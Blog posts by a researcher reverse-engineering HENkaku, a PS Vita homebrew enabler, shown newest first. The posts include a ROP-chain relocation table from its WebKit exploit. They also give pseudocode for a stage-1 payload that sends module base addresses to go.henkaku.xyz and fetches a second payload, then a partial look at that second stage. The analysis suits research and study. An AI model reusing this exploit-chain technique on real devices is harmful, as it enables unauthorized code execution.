0x008dbdd5 -> Reloc to SceWebkit
0x000000bc -> Reloc to stack
0x00000000 -> No reloc
0x0000950b -> Reloc to Unk5
0x0010665d -> Reloc to SceWebkit
0x00000000 -> No reloc
0x000c048b -> Reloc to SceWebkit
0x000c048b -> Reloc to SceWebkit
0x00860637 -> Reloc to SceWebkit
0x00000000 -> No reloc
0x000000bc -> Reloc to stack
0x00000000 -> No reloc
0x000095ff -> Reloc to Unk5
0x000bfb91 -> Reloc to SceWebkit
0x00000000 -> No reloc
0x00000000 -> No reloc
0x00000000 -> No reloc
0x000c048b -> Reloc to SceWebkit
0x00895285 -> Reloc to SceWebkit
0x00000010 -> Reloc to stack
0x00106fc5 -> Reloc to SceWebkit
0x00014a79 -> Reloc to SceWebkit
0x00000000 -> No reloc
0x000c048b -> Reloc to SceWebkit
0x008e27c5 -> Reloc to SceWebkit
0x00000010 -> Reloc to stack
0x00000000 -> No reloc
0x00000000 -> No reloc
0x000695b1 -> Reloc to SceWebkit
0x00009935 -> Reloc to Unk5
0x000fcdbb -> Reloc to SceWebkit
0x00000000 -> No reloc
0x000c048b -> Reloc to SceWebkit
0x000c048b -> Reloc to SceWebkit
0x00884b85 -> Reloc to SceWebkit
0x00600000 -> No reloc
0x00927215 -> Reloc to SceWebkit
0x0000001c -> Reloc to stack
0x000698fb -> Reloc to SceWebkit
0x00000000 -> No reloc
0x00927215 -> Reloc to SceWebkit
0x00000010 -> Reloc to stack
0x000695b1 -> Reloc to SceWebkit
0x00009983 -> Reloc to Unk5
0x000fcdbb -> Reloc to SceWebkit
0x00000000 -> No reloc
0x000c048b -> Reloc to SceWebkit
0x000c048b -> Reloc to SceWebkit
0x008e7445 -> Reloc to SceWebkit
0x0000001c -> Reloc to stack
0x000003e0 -> Reloc to stack
0x000695b1 -> Reloc to SceWebkit
0x00106fc5 -> Reloc to SceWebkit
0x000fcdbb -> Reloc to SceWebkit
0x00000000 -> No reloc
0x000c048b -> Reloc to SceWebkit
0x008e27c5 -> Reloc to SceWebkit
0x000c048b -> Reloc to SceWebkit
0x000003e4 -> Reloc to stack
0x00106fc5 -> Reloc to SceWebkit
0x00014a79 -> Reloc to SceWebkit
0x00000000 -> No reloc
0x000c048b -> Reloc to SceWebkit
0x000c048b -> Reloc to SceWebkit
0x008e27c5 -> Reloc to SceWebkit
0x00000004 -> Reloc to stack
0x0000001c -> No reloc
0x000003cc -> Reloc to stack
0x000695b1 -> Reloc to SceWebkit
0x0000a789 -> Reloc to SceLibKernel
0x000fcdbb -> Reloc to SceWebkit
0x00000000 -> No reloc
0x000c048b -> Reloc to SceWebkit
0x000c048b -> Reloc to SceWebkit
0x008e27c5 -> Reloc to SceWebkit
0x00000004 -> Reloc to stack
0x00000000 -> No reloc
0x00000000 -> No reloc
0x000695b1 -> Reloc to SceWebkit
0x000016fd -> Reloc to SceLibKernel
0x000fcdbb -> Reloc to SceWebkit
0x00000000 -> No reloc
0x000c048b -> Reloc to SceWebkit
0x000c048b -> Reloc to SceWebkit


This payload is responsible for taking care of a few things like:
// Do stuff
...
// Create a new thread for the second payload
int thread_id = sceKernelCreateThread("st2", SceWebkit_base + 0x000054C8, 0x10000100, 0x00600000, 0x00000000, 0x00000000, 0x00000000);
// Do stuff
...
// Construct the arguments for fetching the second payload
strcpy(stack_base + 0x000000BC, "http://go.henkaku.xyz/x");
snprintf(stack_base + 0x000002C4, 0x00000100, "?a1=%x", stack_base);
strcpy(stack_base + 0x000000BC, stack_base + 0x000002C4);
snprintf(stack_base + 0x000002C4, 0x00000100, "&a2=%x&a3=%x&a4=%x&", SceWebkit_base, SceLibKernel_base, SceLibc_base);
strcpy(stack_base + 0x000000BC, stack_base + 0x000002C4);
snprintf(stack_base + 0x000002C4, 0x00000100, "&a5=%x&a6=%x&a7=%x&", SceLibHttp_base, SceNet_base, SceDriverUser_base);
strcpy(stack_base + 0x000000BC, stack_base + 0x000002C4);
// Do stuff
...
// Send HTTP requests to fetch the second payload
SceLibHttp_92fd(0x00010000);
int http_buf = SceLibHttp_947b("ldr", 0x00000002, 0x00000001);
SceLibHttp_950b(http_buf, stack_base + 0x000000BC, 0x00000000);
int http_req = SceLibHttp_95ff(http_buf, 0x00000000, stack_base + 0x000000BC);
SceLibHttp_9935(http_req, 0x00000000, 0x00000000);
SceLibHttp_9983(http_req);
// Do stuff
...

After the payload is done, an HTTP request is sent to the server using the following template:
    http://go.henkaku.xyz/x?a1=stack_base&a2=webkit_base&a3=libkernel_base&a4=libc_base&&a5=libhttp_base&a6=net_base&a7=appmgr_base&
Example:
    http://go.henkaku.xyz/x?a1=89f02000&a2=81b009a0&a3=e000dd00&a4=811c0cc0&&a5=e0607c80&a6=e01302b0&a7=e0047bf0&
The "x" script on the server side collects the base addresses for each module and generates a second payload to be run on the Vita.

This second payload is composed by another ROP chain and obfuscated ARM code.
A preliminary analysis of this payload reveals a few interesting things:
strcpy(stack_base + 0x000086B4, "sdstor0:");
strcpy(stack_base + 0x000086CC, "xmc-lp-ign-userext");
// Do stuff
...
strcpy(stack_base + 0x000086E4, "molecule0:");
SceLibKernel_a4ad("molecule0:");
SceLibKernel_a55d("sdstor0:", 0x00000005, "xmc-lp-ign-userext", 0x00000014);
// Do stuff
...
int thread1_id = sceKernelCreateThread("pln", SceWebkit_base + 0x000054C8, 0x10000100, 0x00002000, 0x00000000, 0x000003FF, 0x00000000);
SceLibKernel_a791(thread1_id, 0x7C);
// Do stuff
...
int thread2_id = sceKernelCreateThread("mhm", SceWebkit_base + 0x000054C8, 0x10000100, 0x00002000, 0x00000000, 0x00000000, 0x00000000);
// Do stuff
...
SceNet_27E1("x", 0x00000002, 0x00000001);
SceNet_27E1("x", 0x00000002, 0x00000001);
SceNet_27E1("x", 0x00000002, 0x00000001);
SceNet_27E1("x", 0x00000002, 0x00000001);
SceNet_27E1("x", 0x00000002, 0x00000001);
// Do stuff
...
SceNet_27E1("sss", 0x00000002, 0x00000001);
SceNet_27E1("tst", 0x00000002, 0x00000007);
SceNet_27E1("tmp", 0x00000002, 0x00000001);
// Do stuff
...

Next up, stage 2!

HENkaku - KOTH Challenge Recap

As most of you know, Team Molecule (a collective of console hackers composed by Yifan Lu, Davee, Proxima and xyz) released what I consider to be a true work of art in the realm of videogame console hacking.

They released "HENkaku", a homebrew enabler for the PS Vita, almost 3 months ago.
Along with the release, they posed a challenge to the community: reverse what we've done in HENkaku and become "king of the hill".

As soon as HENkaku was out, I began looking into it and slowly tried to pick it apart. Most of my progress and findings were published in a collection of "pastebins" I scattered around the web.

The road was harsh, but I finally managed to crack down the full HENkaku's code flow a few weeks ago.
Now that I've finally had the time to put it all up together, I decided to publicly claim my title by posting the hash of a very important key. ;)

To make all the effort complete, I'm going to publish in this blog all of my previous progress first (as an attempt to aggregate the data from the "pastebins") and end it with a detailed write-up of the last and final stage of this awesome challenge.

Stay tuned!

Hello World

Welcome.

This blog is meant to be a collection of posts, documentation and overall information on my feats in the world of cyber security.
Nothing too fancy, just a more organized way to publish my ideas and accomplishments.

Let's start!